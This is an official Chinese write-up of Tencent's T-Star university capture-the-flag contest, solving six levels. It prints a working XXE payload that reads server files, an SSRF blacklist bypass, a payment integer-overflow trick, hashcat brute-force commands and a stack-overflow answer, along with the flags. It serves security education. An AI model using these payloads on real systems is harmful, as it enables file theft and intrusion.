专栏首页腾讯安全应急响应中心【官方题解】腾讯网络安全T-Star高校挑战赛write up
原创

【官方题解】腾讯网络安全T-Star高校挑战赛write up

关卡一

[题目考点]:

  1. 短信验证码绕过
  2. XXE

[闯关Flag]:

welcome.good/start!

[解题思路]:

  1. 进入http://175.178.148.197:5000/ 要求手机验证码登录,但实际收不到验证码也无法注册,可在浏览器直接按F12后抓包,请求登录验证码会直接在响应中返回:

2. 登录后发现除了视频播放,只有一个点赞功能,随便打开一个直播页面点赞,使用burpsuite抓包,尝试常见漏洞可发现该接口存在XXE漏洞,修改请求头中:

Content-Type: application/xml;charset=UTF-8

修改请求数据为:

<!DOCTYPE message [

<!ENTITY % aaa '

<!ENTITY &#x25; file SYSTEM "file:///proc/self/cwd/config.py">

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaa&#x25;file;&#x27;>">

&#x25;eval;

&#x25;error;

'>

%aaa;

]>

通过 /proc/self/cwd 跳到当前目录,读取的config.py/app.py都是flask常见主文件,返回:

HTTP/1.1 200 OK

Server: gunicorn/19.10.0

Date: Wed, 06 Apr 2022 11:01:21 GMT

Connection: close

Content-Type: text/xml; charset=utf-8

Content-Length: 80

Access-Control-Allow-Origin: http://127.0.0.1:5000

Access-Control-Allow-Headers: *

Access-Control-Allow-Methods: http://127.0.0.1:5000

Access-Control-Allow-Credentials: true

Vary: Cookie

Invalid URI: file:///aaa# T-STAR{welcome.good/start!}

dsn = , line 4, column 15

关卡二

[串联过程]

  1. http://175.178.148.197:5000/
  2. 结合直播页面TIPS及主播ID可搜到其微博,进入第二关;

[闯关Flag]:

shenzhen或深圳

[解题思路]:

1、直播间有提示关注主播微博:

2、可在新浪微博搜到同名博主,有两张看张相同的图:

3、下载原图进行像素相比(Compare & find Differences in two Image Files Online Tool | TextCompare),可发现一处不同:

4、图片上有提示N为北纬,左下为零点,分辨率是180*180,可猜出差异像素点代表坐标是北纬22度,东经114度的城市深圳。

5、由于腾讯总部在深圳,此题也可尝试盲猜。

关卡三

[串联过程]

  1. 通过链接可以下载流量包;
  2. 从流量包中提取关键数据,提取的关键数据包括一个APK文件和crytop压缩包;
  3. 解题crytop和APK后得到一个源码地址链接;
  4. 通过地址下载源码压缩;
  5. 解题源码压缩包后得到最终通关flag

[题目考点]:

  1. 流量分析
  2. Android backup
  3. 密码学,像素,二维码
  4. 源码分析栈溢出

[闯关Flag]:

992e63080ee1e47b99f42b8d64ede953

[解题思路]:

  1. 获取的数据报文经过wireshark分析主要包含两部分,一部分是Android backup文件,还有一部分是adb shell的操作命令,通过分析命令可以知道backup文件解密密码yun202203。
  2. 从数据报文中提取Android backup文件保存为androidbackup,使用abe工具对其解密,密码为yun202203后可以得到apk文件和.d.zip文件

java -jar abe.jar unpack androidbackup androidbackup.tar This backup is encrypted, please provide the password Password:yun202203

3. apk包含IP地址175.178.148.197,.d.zip里面包含以下文件,flag.zip需要密码才能打开。根据题目提供私钥和密文,RSA解密key.en得到明文flag.zip的密码flag.de

$ openssl rsautl -decrypt -in key.en -inkey private_key.pem -out flag.de

flag.zip的密码

cat flag.de9BlteBJnZpwrRjbL0DsGlFz5M+MDG74jYIj0zzivGPVW75jYZQpdzpfrpEBcXAJqHrlZlEw9hMhRQ8FijkATyMxpKsPXEWT5K6M5

4. 用密码打开flag.zip后得到flag文件,内容为:

1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111

5. 把01转成像素得到二维码

from PIL import Image
import numpy as np
from PIL import Image
import numpy as np

li = "1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111"

table = np.zeros((29, 29), dtype=int)
for row in range(29):
    for col in range(29):
        if li[row * 29 + col] == '1':
            table[row][col] = 1
        else:
            table[row][col] = 0

print(table)
a = [[0 if b == 0 else 255 for b in row] for row in table]
qrcode = Image.fromarray(np.uint8(np.array(a)))
qrcode.show()

5. 扫描二维码得到内容为/033yia8rqea1921ca61/systemlockdown,结合APK的IP地址,可以从175.178.148.197/033yia8rqea1921ca61/systemlockdown中获取到门禁系统的源码。

6. 门禁密码源码解题思路如下:

(1) 该题考察栈溢出的利用

虽然题目到处在说输入6位密码,但因为SYSTEM_SHUTDOWN被设置,输入6位密码根本不会设置passed/checksum123字段,因此是不可能通过检查的。

注意到password是一个6字节的数组,而循环for (i = 0; i <= 6; i++) 中i实际上循环了7次。因此第七次循环时,它会覆盖栈上下一个字节。

被结构体包裹的char key_data恰巧就是这个字节,因此可以输入7位数字来覆盖key_data。

key_data随后会被强转成door_key结构体。此结构体是由比特表示各字段的。

注意到字符‘5‘(ASCII = 0x35)的二进制表示是00110101,存放在该结构体后分别是:

passed = 1 / checksum = 01 / checksum2 = 01 / checksum3 = 001

恰好可以满足最终的检测。而其他数字输入('0'~'9')都不满足此条件。

(2) 注意代码要求密码的每一位都是一样的数字

因此,答案应为5555555。其他答案均不能通过检查。

提交Flag:md5(5555555) = 992e63080ee1e47b99f42b8d64ede953

关卡四

[题目考点]:

  1. 二维码补充
  2. strings命令
  3. zip文件格式
  4. 摩尔斯电码音频识别

[闯关Flag]:

https://darknet.hacker5t2ohub.com

[解题思路]:

1. 解压题目压缩包,打开残缺的二维码,将二维码补全后扫描得到call_me.zip加密压缩包

或者是不用补全 使用strings命令也可得到下载链接 https://public.huoxian.cn/ctf/call_me.zip

2. 题目压缩包中剩余的是一个残缺的压缩包,打开发现是压缩文件损坏,根据包名,《我真的是个压缩包》,可以联想到常见的文件格式识别,可以使用010editor等二进制查看工具,对于正常的zip压缩包文件头 格式应该是50 4B 03 04 此时打开发现是50 4A 03 04,修改4A为4B即可

3. 打开压缩包后,听一下音频发现是一段电报声,可以想到摩尔斯电码 查看音频

Morse Code Audio Decoder | Morse Code World 用线上解码工具还原即可得到一串11位数字19910386797,用该数字打开call_me.zip即可得到FLAG:

https://darknet.hacker5t2ohub.com/

关卡五

[串联过程]

  1. 利用商城网站上存在的支付漏洞,购买高价值商品;
  2. 成功购买“付费咨询”商品后,得到hash文件;
  3. 通过技术解法或推理解法,得到最终flag

[题目考点]:

1. 整数溢出

2. Hash解密

[闯关Flag]:

ski931iwasjudqwkashajdsakdhadjshakdhsahkd

[解题思路]:

参赛者登陆后账户被随机分配了BTC余额,但总额少的可怜。充值是不可能充值的,这时,就需要T-Star们开动脑筋,展开破解了!

步骤一:利用支付逻辑漏洞,购买高价值商品

仔细观察会发现,页面商品等价格各不相同,再看题目描述——

据说只要有「足够」的钱,你能买到任何需要的信息。

不难联想到可以利用支付逻辑漏洞破解。商品的计算逻辑是:商品数量 * 商品单价。按此思路向下挖掘,发现商品数量有隐性限制,数量必须 0 < x < 35

这题需要会一点Go,通过查阅Go官方文档,可知int16对应的整数范围是:

int8 : -128 to 127
int16 : -32768 to 32767

那么纵观所有商品列表,只有付费咨询符合溢出的条件。

1000 * 33 / 1000 * 34 > 32767

输入商品数量 33,触发整数溢出,购买成功!不仅购买到解题线索,也实现了匿名集市的财富自由。

步骤二:从TSRC公众号得到邮箱账号密码

找到邮件

从邮件内容得知,NightBaron在发起勒索蠕虫病毒攻击之后,将加密文件的密钥进行Hash处理之后,分别交由不同的人保管了。打开全部三封邮件后,可以获得完整的Hash:

part 1: https://pastebin.com/QZ7QBmmd

part 2: https://pastebin.com/TUNVRVvk

part 3:Hashes-Part3 - Pastebin.com

这里分别使用了MD5、SHA512、SHA1、SHA256、SHA384进行Hash处理,全部破解之后即可得到Key。这里有两个解题思路,一种是技术型解题,一种是推理型解法。

方法一:技术解法

使用字典或者穷举爆破,当然纯爆破会很慢,建议使用爆破结合搜索的方式解答。使用低端显卡或者核显,一般在一个小时之内可以爆出来一大半,结合谷歌,很快就能找到原文。出题过程中我们也花了很多时间在调整优化破解难度上。

使用hashcat进行暴力破解,以暴力破解6位未知字符,加密类型为MD5的hashcat命令为例:

hashcat -m 0 -a 3 hashs_md5.txt ?a?a?a?a?a?a

很快会解出一大部分Hash,得到部分Key的内容。

搜索破解出来的单词,可以发现Key这是来自于凯文米特尼克的《欺骗的艺术》书中的原文:

邮件内容中也提到了“凯文米特尼克”和“人的因素是安全过程中最薄弱的环节”,这句话也是出自于这本书,也提醒了最终答案和这本书有关。通过破解出来的单词最终能定位到最后的答案是这整段内容:

Security is too often merely an illusion, an illusion sometimes made even worse when gullibility, naivete, or ignorance come into play. The world's most respected scientist of the twentieth century, Albert Einstein, is quoted as saying, "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." In the end, social engineering attacks can succeed when people are stupid or, more commonly, simply ignorant about good security practices. With the same attitude as our security-conscious homeowner, many information technology (IT) professionals hold to the misconception that they've made their companies largely immune to attack because they've deployed standard security products - firewalls, intrusion detection systems, or stronger authentication devices such as time-based tokens or biometric smart cards. Anyone who thinks that security products alone offer true security is settling for. the illusion of security. It's a case of living in a world of fantasy: They will inevitably, later if not sooner, suffer a security incident.

最终拿着key去勒索网站(http://159.75.190.64/)提交,成功的解密出被病毒加密的文件:

方法二:推理解法

回看邮件内容,文字中提到“此份邮件非常重要”,说明其中隐藏了很关键的信息,结合加粗、标红的文字内容,邮件里提到此份邮件非常重要,说明解题者需要多仔细阅读邮件,最终能发现以下几点重要信息:

书页中的章节和段落就像时钟的时针和分针一样、1点8分、米特尼克、人的因素是安全过程中最薄弱的环节,最终能定位到答案是来自于米特尼克的《欺骗的艺术》中第一章的第8段。

复制英文整段原文提交即可获取Flag,题目后端对空格等标点符号也进行了一定的兼容。

勒索蠕虫病毒是业内出现比较多的一种安全事件类型,攻击者通常在入侵之后使用RSA等非对称加密算法对受害者主机上的文件进行加密,并勒索比特币。对于这种强加密的密码学算法,在拿不到密钥的情况下几乎不可能破解。除此之外还包括一些“内鬼”作恶或者误操作对生产数据删库的案例,都涉及到数据安全的领域。

面对无法预料甚至未知手法的攻击时,能够预测、承受、恢复和适应的能力是非常重要的,所以对于防范“删库”、“文件加密勒索”来说,除了防止恶意删除、防入侵之外,被破坏之后的数据恢复能力也是必须要具备的一种能力和机制。

关卡六

[串联过程]

  1. 根据链接地址下载后得到文档;
  2. 解题文档后得到一个web链接地址;
  3. 访问web地址后开始解题,解题结果为最终flag

[题目考点]:

1. Word文字/书签隐藏

2. 简单JPG图片隐写

3. web ssrf漏洞

[闯关Flag]:

ThereAreNoBoundaries

[解题思路]:

  1. 该文件是word文件,修改后缀为.docx可以用word打开。打开word后看到有三个线索,通过显示隐藏文字(全选文字,右键-》字体-》隐藏)可以看到一个线索Flag2(772e91/webs)和另一个线索一张图片。

2. 另一个线索应该是藏在图片里,解压Guess.docx,获取media里的原始图片image1.jpg,再结合题目Guess,猜测算法是outguess,其中密码是文档里提示的123456,可以获取线索(/062ycz7s9458b):

3. 现在还差一个线索,其隐藏在书签里:选择文字,插入书签,可以看到一串字符GE3TKLRRG44C4MJUHAXDCOJX,该字符是base32,解码后:175.178.148.197

综合以上三个线索,组合得到175.178.148.197/062ycz7s9458b772e91/webs,为web题目链接。

4. 开始作答web题目

打开链接会直there is a flag in `url`,根据代码发现有一个url参数可用于curl访问链接

直接拼接index.php?url=xxx参数访问:

175.178.148.197/062ycz7s9458b772e91/webs/index.php?url=http://175.178.148.197/062ycz7s9458b772e91/webs/flag.php会返回限本地IP请求,源码中通过黑名单限制了常规的域名/IP/跨协议的SSRF攻击方法

可利用浏览器与CURL解析URL的差异绕过限制,也可以通过127.0.0.2、IPV6地址等方式绕过,如访问175.178.148.197/062ycz7s9458b772e91/webs/index.php?url=http://127.0.0.2/062ycz7s9458b772e91/webs/flag.php 得到flag为ThereAreNoBoundaries

原创声明,本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

登录 后参与评论
0 条评论

相关文章

  • 揭晓|腾讯网络安全T-Star高校挑战赛终极榜单公布!

    各位同学,腾讯网络安全T-Star高校挑战赛圆满结束啦~来自250多所高校的1400余名同学各展奇招,在脑洞大开解题的同时,也为我们展现了一场精彩有趣的夺旗之战...

    腾讯安全应急响应中心
  • 腾讯网络安全T-Star高校挑战赛 正式启动!!!

    T-Star大赛简介 “腾讯网络安全T-star高校挑战赛”由腾讯安全应急响应中心(TSRC)与腾讯高校合作联合发起,覆盖全国二十余所高等院校的线上安全挑战...

    腾讯高校合作
  • 万元现金大奖+文末福利|2020腾讯犀牛鸟网络安全T-Star高校挑战赛发布

    导语:为培养优秀网络安全人才,促进网络安全高校人才生态建设,腾讯高校合作中心和腾讯安全应急响应中心(TSRC)于2019年首次共同发起“腾讯犀牛鸟网络安全T-S...

    腾讯高校合作
  • 倒计时!T-Star高校团队负责人招募倒数第三天

    腾讯网络安全T-Star高校挑战赛已于9月9日正式启动报名 自T-Star高校挑战赛启动以来 我们收到了来自全国各地多所高校团队负责人的报名信息 踊跃组织参赛团...

    腾讯高校合作
  • 【有奖征文】T-Star集结!赛事笔记征集结果公布

    【有奖征文】冲关结束,T-Star集结!腾讯网络安全T-Star高校挑战赛write up征集中!

    腾讯安全应急响应中心
  • 【T-Star倒计时 】最后一周四重挖洞彩蛋来袭

    腾讯网络安全T-Star高校挑战赛还剩最后一周就要结束了。 给童鞋们发个彩蛋吧: 关于T-Star大赛 “腾讯网络安全T-star高校挑战赛”由腾讯安全应...

    腾讯高校合作
  • 福利多多 丨 T-Star们,小编在此郑重宣布两件事情

    10月14日-11月30日 TSRC、腾讯高校合作中心 共同主办的 腾讯网络安全T-Star高校挑战赛 正在如火如荼地进行中 11月30日活动结束前均可参加 ...

    腾讯高校合作
  • 【获奖名单】第二届腾讯犀牛鸟网络安全T-Star高校挑战赛

    DUANG DUANG DUANG ! 2020腾讯犀牛鸟网络安全T-Star高校挑战赛 获奖名单 正式来袭!!! 来自全国200多个高校的1200多名高校白帽...

    腾讯高校合作
  • 定制白帽专属课程来袭|腾讯犀牛鸟网络安全T-Star高校挑战赛

    2020腾讯犀牛鸟网络安全T-Star高校挑战赛 火热报名中 建议各位同学于6月7日前进行组队报名 请点击文末阅读原文或登录https://withzz.com...

    腾讯高校合作
  • 全新出发,闪耀2020| 腾讯高校创新俱乐部年度评优结果出炉(文末有福利)

    导语 为加强创新人才生态环境建设并积极推动国家人才教育改革,⾃2006年起,腾讯与北京大学、西安交通大学、上海交通大学、中山大学、电子科技大学、哈尔滨工业大学...

    腾讯高校合作
  • 腾讯高校创新俱乐部年度评优结果出炉【文末福利】

    导语 腾讯高校创新俱乐部(简称TIC)最早成立于2006年。俱乐部以“互联网技术和产品”为核心定位,提倡自由、开放、分享的文化氛围,通过开展各类计算机人才培养...

    腾讯高校合作
  • 同学,你玩过密室逃脱式CTF吗?

    本该平静的早晨,你突然遭遇了勒索攻击,并收到了一个神秘视频,视频里的人,正是你自己……

    腾讯安全应急响应中心
  • 招募高校项目负责团队|这里有一份最全T-Star高校挑战赛报名攻略

    上周,腾讯网络安全T-Star高校挑战赛正式启动报名了!!!详情请点击:启动推文 活动公告发出后,已经有多位小伙伴主动联系小编,并自告奋勇成为高校项目负责人。...

    腾讯高校合作
  • 揭晓丨这三支队伍夺得了T-Star高校挑战赛最终大奖

    “你参加T-Star了吗?” 2019年10月14日- 11月30日 首届腾讯网络安全T-Star高校挑战赛如火如荼进行 40多个院校的高校白帽子 经过了一个半...

    腾讯高校合作
  • 冲鸭|T-Star高校挑战赛实战赛正式启动!

    5月25日 第二届腾讯犀牛鸟网络安全T-Star高校挑战赛 正式启动报名! 自项目启动至今 共有200+所高校 200+个战队的1200+位同学报名参赛 过...

    腾讯高校合作
  • 同学,你玩过密室逃脱式CTF吗?

    本该平静的早晨,你突然遭遇了勒索攻击,并收到了一个神秘视频,视频里的人,正是你自己…… 是挑衅?还是恶作剧? 加密你的文件,还拍下了你的一举一动……不管设下这个...

    腾讯高校合作
  • 【直播】菩提心法:网络安全绝不是法外之地|web安全入门功法通关秘籍-第一式

    2020腾讯犀牛鸟网络安全T-Star高校挑战赛 火热报名中 请登录https://withzz.com/project/detail/77 (建议通过PC端访...

    腾讯高校合作
  • 【直播培训】多罗叶指:WEB安全之OWASP TOP 10漏洞|web安全入门功法通关秘籍-第二式

    2020腾讯犀牛鸟网络安全T-Star高校挑战赛 火热报名中 请登录https://withzz.com/project/detail/77 (建议通过PC端访...

    腾讯高校合作
  • 2021年度腾讯“犀牛鸟精英科研人才培养计划”申报指南

    第一条 总则:犀牛鸟精英科研人才培养计划旨在为致力于前沿科学研究的学生提供更优质的创新科研平台,以产业真实场景及海量数据为科学试验田,将理论研究和实践结合,验证...

    腾讯高校合作

扫码关注云+社区

领取腾讯云代金券